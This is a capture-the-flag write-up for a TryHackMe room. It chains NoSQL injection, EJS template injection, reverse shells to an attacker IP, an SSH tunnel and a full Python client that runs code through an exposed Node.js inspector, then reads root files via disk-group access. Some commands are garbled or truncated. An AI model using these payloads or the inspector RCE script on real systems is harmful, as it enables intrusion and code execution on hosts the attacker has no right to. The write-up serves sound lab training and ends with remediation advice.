Hacker Holidays Day 8 — Do Not Disturb(TryHackMe) Full Writeup
10 min read
Summary
A walkthrough of a multi-stage Node.js/Express box: NoSQL auth bypass → SSTI → SSH pivot → Node Inspector RCE → disk
-group privesc.
Replace
<TARGET_IP>
and<ATTACKER_IP>
with your lab’s actual values throughout. IPs below are illustrative from my own run and will differ per-deployment on THM.
Reconnaissance
nmap -sC -sV -A -Pn <TARGET_IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open http Node.js (Express middleware)
|_http-title: Byte Lotus — Poolside
Two open ports: SSH and an Express-based HTTP app. Loading the site shows a single login form, POSTing to /login
. A content discovery scan (gobuster
/ffuf
) against common wordlists turned up nothing — no hidden endpoints found that way. That pushed the next step toward probing the login logic directly rather than more directory brute-forcing.
Auth Bypass — NoSQL Injection
Checking response behavior:
curl -i http://<TARGET_IP>/
curl -i -X POST http://<TARGET_IP>/login -d “username=test&password=test”
The root page returns 200
with no cookie. A bogus login POST returns 401
with Invalid credentials.
— standard behavior, nothing unusual yet. The X-Powered-By: Express
header confirms the backend framework.
Given Express + a document-style datastore is a common pairing, the next test was a NoSQL injection via the MongoDB ne
(not-equal) operator, sent as a bracketed form field name so Express's body-parser
/qs
middleware parses it into a nested object rather than a literal string:
curl -i -X POST http://<TARGET_IP>/login \
--data-urlencode "username[\ne]=toto”
—data-urlencode “password[$ne]=toto”
Raw request for Burp Repeater:
POST /login HTTP/1.1
Host: <TARGET_IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
username[ne]=toto&password[ne]=toto
Result:
HTTP/1.1 302 Found
Location: /staff
Set-Cookie: connect.sid=s%3A…; Path=/; HttpOnly
The query the backend built was effectively:
db.findOne({ username: { ne: "toto" }, password: { ne: “toto” } })
— “find any user whose username and password are not equal to toto
” — which matches any real record in the store, bypassing authentication entirely. This confirmed the backend was passing req.body
directly into a NeDB/Mongo-style query without stripping operator keys (ne,gt
, $regex
, etc.) from user input.
The returned connect.sid
cookie now represents an authenticated staff session.
Staff Console — Server-Side Template Injection (EJS)
Visiting /staff
with the cookie set shows a “Cabana Desk” console — a booking-confirmation message previewer:
The app explicitly documents that it accepts raw EJS syntax in the template
field and renders it server-side — a strong SSTI signal.
Confirming injection with a pure-math expression:
curl -i --cookie "connect.sid=" \
-X POST http:///staff/preview \
--data-urlencode "template=<%= 7 * 7 %>"
The response body contained 49
in the rendered preview — the payload was evaluated, not just echoed back as text. This confirms server-side execution of attacker-controlled EJS.
Escalating to RCE. EJS templates execute inside a real Node.js scope, meaning they have access to Node’s module/global objects unless explicitly sandboxed (this app used none). The process
global lets template code reach Node's require
, and from there, arbitrary shell execution via child_process
:
curl -i — cookie “connect.sid=[COOKIE]” \
-X POST http://[TARGET_IP]/staff/preview \
— data-urlencode “template=<%= … /dev/tcp/[ATTACKER_IP]/6767 … %>”
(couldnt put the correct payload as the medium platform doesnt allow it)
or use the burpsuite
use your attacker ip address in here.
With a listener running beforehand:
nc -lvnp 6767
This returned an interactive reverse shell as the poolside
user.
4. Post-Exploitation Enumeration as poolside
cat /home/poolside/user.txt
Checking running processes revealed a second Node.js service, running as a different, more privileged-looking account:
ps aux | grep node
pipelin+ 600 ... /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside 601 ... /usr/bin/node app.js
The --inspect=127.0.0.1:9229
flag is significant: it enables the Node.js Inspector, which exposes the Chrome DevTools Protocol (CDP) — a debugging interface that allows arbitrary JavaScript execution inside the target process via the Runtime.evaluate
method. It was bound to localhost only, but reachable now that there was local shell access as poolside
:
curl http://127.0.0.1:9229/json
[ {
"title": "processor.js",
"url": "file:///opt/pipelinesvc/telemetry/processor.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/9b4e7e0e-2500-4b01-85f2-116c4cbe87e9"
} ]
processor.js
itself (readable via cat
) turned out to be a harmless telemetry logger — not the vulnerability itself, just the process whose debug port was the actual target.
5. Pivoting to Reach the Inspector Port
9229
was bound to 127.0.0.1
only, so it wasn't reachable directly from the attacking machine over the network. Rather than relaying raw TCP with nc
/mkfifo
(which proved unreliable for the WebSocket handshake — Node's inspector rejects malformed or mismatched Host
headers), an SSH local port-forward was set up for a clean, protocol-correct tunnel.
Get Abhay U’s stories in your inbox
Join Medium for free to get updates from this writer.
Generate an attacker-side key pair (on the attacking machine):
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_thm -N ""
cat ~/.ssh/id_thm.pub
Authorize it on the target, using the existing poolside
reverse shell:
mkdir -p ~/.ssh
echo "" > ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
Open the tunnel from the attacking machine:
ssh -i ~/.ssh/id_thm -N -L 9229:127.0.0.1:9229 poolside@
poolside
's shell was restricted (nologin
), which is fine — -N
tells SSH not to request an interactive session, it only needs to hold the forwarded port open. Leaving this running in one terminal exposes 127.0.0.1:9229
on the attacking machine, transparently proxied to the target's localhost inspector port.
Verify:
curl http://127.0.0.1:9229/json
6. Node Inspector RCE — Modern CDP Client
An initial attempt used Metasploit’s exploit/multi/misc/nodejs_v8_debugger
module, but it failed:
Got unexpected response: HTTP/1.0 400 Bad Request
WebSockets request was expected
Root cause: the target ran Node v22 (node -v
), and modern Node versions strictly validate the Host
header on inspector WebSocket upgrade requests (anti–DNS-rebinding protection introduced well after this 2016-era Metasploit module was written). The module's handshake didn't conform, so Node rejected it before treating it as a WebSocket request at all.
Solution: a hand-rolled Python WebSocket client implementing the CDP handshake correctly, including the exact Host
header Node expects, then issuing a Runtime.evaluate
CDP command:
#!/usr/bin/env python3
"""
Node.js Inspector RCE via CDP Runtime.evaluate — Node 12+/v22 safe
Usage:
python3 cdp_rce.py ws://127.0.0.1:9229/ "process.version"
python3 cdp_rce.py 127.0.0.1:9229 "process.version" # auto /json/list discovery
"""
import base64, hashlib, json, os, socket, struct, sys
GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
def _exact(sock, n):
buf = b""
while len(buf) < n:
c = sock.recv(n - len(buf))
if not c: raise ConnectionError("closed mid-frame")
buf += c
return buf
def http_get_json(sock, path, host):
sock.sendall(f"GET {path} HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n".encode())
resp = b""
while True:
c = sock.recv(4096)
if not c: break
resp += c
head, _, body = resp.partition(b"\r\n\r\n")
if b"200" not in head.split(b"\r\n", 1)[0]:
raise RuntimeError(f"discovery failed:\n{head.decode(errors='replace')}")
return json.loads(body)
def ws_handshake(sock, path, host):
key = base64.b64encode(os.urandom(16)).decode()
sock.sendall((f"GET {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n").encode())
head = b""
while b"\r\n\r\n" not in head:
c = sock.recv(4096)
if not c: raise ConnectionError("closed during handshake")
head += c
status = head.split(b"\r\n", 1)[0].decode(errors="replace")
if "101" not in status:
raise RuntimeError(f"handshake rejected: {status}\n{head.decode(errors='replace')}")
expect = base64.b64encode(hashlib.sha1((key + GUID).encode()).digest()).decode()
if expect not in head.decode(errors="replace"):
raise RuntimeError("Sec-WebSocket-Accept mismatch")
def frame(payload: bytes, opcode: int = 0x1) -> bytes:
mask, n = os.urandom(4), len(payload)
if n < 126: hdr = bytes([0x80 | opcode, 0x80 | n])
elif n < 65536: hdr = bytes([0x80 | opcode, 0x80 | 126]) + struct.pack(">H", n)
else: hdr = bytes([0x80 | opcode, 0x80 | 127]) + struct.pack(">Q", n)
return hdr + mask + bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
def recv_frame(sock):
b1, b2 = _exact(sock, 2)
opcode, masked, ln = b1 & 0x0F, b2 & 0x80, b2 & 0x7F
if ln == 126: ln = struct.unpack(">H", _exact(sock, 2))[0]
if ln == 127: ln = struct.unpack(">Q", _exact(sock, 8))[0]
mask = _exact(sock, 4) if masked else None
data = _exact(sock, ln)
return opcode, bytes(b ^ mask[i % 4] for i, b in enumerate(data)) if mask else data
def rce(ws_url, expression):
scheme, rest = ws_url.split("://", 1)
hostport, _, path = rest.partition("/")
host, _, port = hostport.rpartition(":")
port = int(port or (443 if scheme == "wss" else 9229))
sock = socket.create_connection((host, port))
if scheme == "wss":
import ssl
sock = ssl.create_default_context().wrap_socket(sock, server_hostname=host)
ws_handshake(sock, "/" + path, f"{host}:{port}")
sock.sendall(frame(json.dumps({"id": 1, "method": "Runtime.evaluate",
"params": {"expression": expression, "returnByValue": True, "awaitPromise": True}}).encode()))
while True:
opcode, data = recv_frame(sock)
if opcode == 0x9: sock.sendall(frame(data, 0xA)); continue # ping -> pong
if opcode != 0x1: continue # skip non-text
msg = json.loads(data)
if msg.get("id") != 1: continue # skip events
sock.close()
res = msg.get("result", {})
if "exceptionDetails" in res:
return "EXCEPTION:\n" + json.dumps(res["exceptionDetails"], indent=2)
r = res.get("result", {})
return r.get("value") or r.get("description") or json.dumps(r)
if __name__ == "__main__":
if len(sys.argv) < 3:
print(__doc__); sys.exit(1)
target, expr = sys.argv[1], sys.argv[2]
if not target.startswith("ws"):
host, _, port = target.rpartition(":")
port = int(port or 9229)
with socket.create_connection((host, port)) as s:
entries = http_get_json(s, "/json/list", f"{host}:{port}")
target = next(e["webSocketDebuggerUrl"] for e in entries
if e.get("type") == "node" or "webSocketDebuggerUrl" in e)
print(f"[*] {target}")
print(rce(target, expr))
Usage:
python3 cdp_rce.py ‘ws://127.0.0.1:9229/9b4e7e0e-2500–4b01–85f2–116c4cbe87e9’ \……../dev/tcp//6768 0>&1\””).toString()’
(couldnt paste the payload entirely here)
With a listener waiting:
nc -lvnp 6768
This executed inside the processor.js
process — running as pipelinesvc
— and returned a shell as that user.
id
# uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
7. Privilege Escalation — disk
Group → Raw Disk Read
pipelinesvc
belongs to the disk
group — membership here grants raw read/write access to block devices, which completely bypasses normal filesystem-level permission checks (since those checks are enforced by the filesystem layer, not the raw device layer).
lsblk
ls -la /dev/nvme0n1p1
brw-rw---- 1 root disk 259, 2 ... /dev/nvme0n1p1
Group disk
has read/write on the block device directly. Using debugfs
— a standard ext-filesystem debugging tool available without root — to browse and extract files from the raw partition image, sidestepping normal ownership/permission checks entirely:
debugfs /dev/nvme0n1p1
debugfs: cd /root
debugfs: ls
debugfs: cat root.txt
(If cat
doesn't cleanly print binary-safe output, dump root.txt /tmp/root.txt
followed by quit
and a normal cat /tmp/root.txt
works identically.)
Flag 2 (root): retrieved via direct raw block-device read, without ever needing actual root privileges or a sudo bypass. (Value redacted — visible in root.txt
once you reach this step yourself.)
Attack Chain Summary
# Stage Vulnerability Class Technique 1 Auth bypass NoSQL Injection $ne
operator in login fields 2 RCE (web) Server-Side Template Injection EJS → process.mainModule.require('child_process')
3 Local recon Info disclosure Second Node process with --inspect
found via ps aux
4 Pivot N/A (tooling) SSH local port-forward to reach localhost-only debug port 5 RCE (service) Exposed Node.js Inspector (CDP) Custom WebSocket client → Runtime.evaluate
6 Privesc Misconfigured group membership disk
group → raw block device read via debugfs
Root Cause & Remediation Notes
- NoSQL injection: Never pass
req.body
/req.query
directly into a MongoDB/NeDB-style query. Whitelist expected fields and reject or strip any keys beginning with$
, or use a schema-validation layer (e.g.express-mongo-sanitize
) before the query is built. - SSTI: Never render user-controlled strings through a template engine that executes arbitrary code (EJS’s
<%= %>
runs real JS). Use a logic-less template system for user content, or strictly separate "data" from "template" so user input can only ever be interpolated as a value, never as template syntax. - Exposed debugger:
--inspect
(even bound to127.0.0.1
) is dangerous on any multi-user or otherwise compromised host — any local process/user can reach and abuse it for full code execution in that Node process's context. Don't run production services with the inspector enabled; if debugging is genuinely needed, gate it behind a firewall rule tied to a specific trusted source and disable it outside active debugging sessions. disk
group membership: Treatdisk
(and similarly powerful groups likedocker
,lxd
,shadow
) as effectively root-equivalent. Service accounts should never be added to these groups unless there's a specific, audited reason, since they bypass normal filesystem ACLs entirely.
Writeup based on a completed TryHackMe room (“Byte Lotus — Poolside”). IPs, cookie values, and flag values above are redacted/placeholder — swap in your own instance’s values when reproducing these steps, per THM’s writeup guidelines on not publishing actual flags.
#### By Abhay U